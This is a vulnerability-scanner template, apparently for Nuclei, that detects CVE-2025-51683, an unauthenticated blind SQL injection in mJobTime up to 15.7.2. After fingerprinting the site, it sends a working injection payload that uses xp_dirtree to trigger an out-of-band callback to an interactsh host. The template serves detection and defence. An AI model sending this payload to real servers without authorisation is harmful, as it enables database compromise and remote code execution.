漏洞描述
mJobtime v15.7.2 contains a sql injection caused by crafted POST request to /Default.aspx/update_profile_Server, letting unauthenticated attackers execute arbitrary SQL statements remotely, exploit requires no special privileges.
id: CVE-2025-51683
info:
name: mJobTime <= 15.7.2 - Unauthenticated Blind SQL Injection to RCE
author: 0x_Akoko,pdteam
severity: critical
description: |
mJobtime v15.7.2 contains a sql injection caused by crafted POST request to /Default.aspx/update_profile_Server, letting unauthenticated attackers execute arbitrary SQL statements remotely, exploit requires no special privileges.
impact: |
Unauthenticated attackers can execute arbitrary SQL commands, potentially compromising the database and sensitive data.
remediation: |
Update to the latest version of mJobtime.
reference:
- https://labs.infoguard.ch/advisories/cve-2025-51682_cve-2025-51683_time_management_softare_sqli-rce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-51683
- https://github.com/advisories/GHSA-gp72-w5fg-q33m
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-51683
epss-score: 0.018
epss-percentile: 0.77263
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: mjobtime
product: mjobtime
shodan-query: http.html:"mJobtime"
fofa-query: body="mJobtime"
tags: cve,cve2025,mjobtime,sqli,rce,unauth,oast,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /Default.aspx HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "mjobtime")'
- 'contains_any(header, "ASP.NET", "Microsoft-IIS")'
condition: and
internal: true
extractors:
- type: regex
name: build_version
part: body
group: 1
regex:
- "BuildNumber\\s*=\\s*'([0-9.]+)'"
internal: true
- raw:
- |
@timeout: 30s
POST /Default.aspx/update_profile_Server HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
{"UserID":"admin","TheSetting":"ONLINE_ONLY","Company":"1","TheValue":"true' EXEC master.sys.xp_dirtree '\\\\{{interactsh-url}}\\share',1,1--","Method":"update_profile()(scripts.js) --> offLineAuth()(js/Login.js)"}
matchers:
- type: dsl
dsl:
- 'contains_any(interactsh_protocol, "dns", "http")'
- 'contains_any(header, "application/json", "ASP.NET")'
condition: and
# digest: 4a0a00473045022056a075ced062ff78fadfab57bddac145335aa31e972a6aa2b91bcbf1bcb529770221009527a54a4592159016dd021971a6bb44328e1f5fa50b7a0b557c044358b18fc3:922c64590222798bb761d5b6d8e72950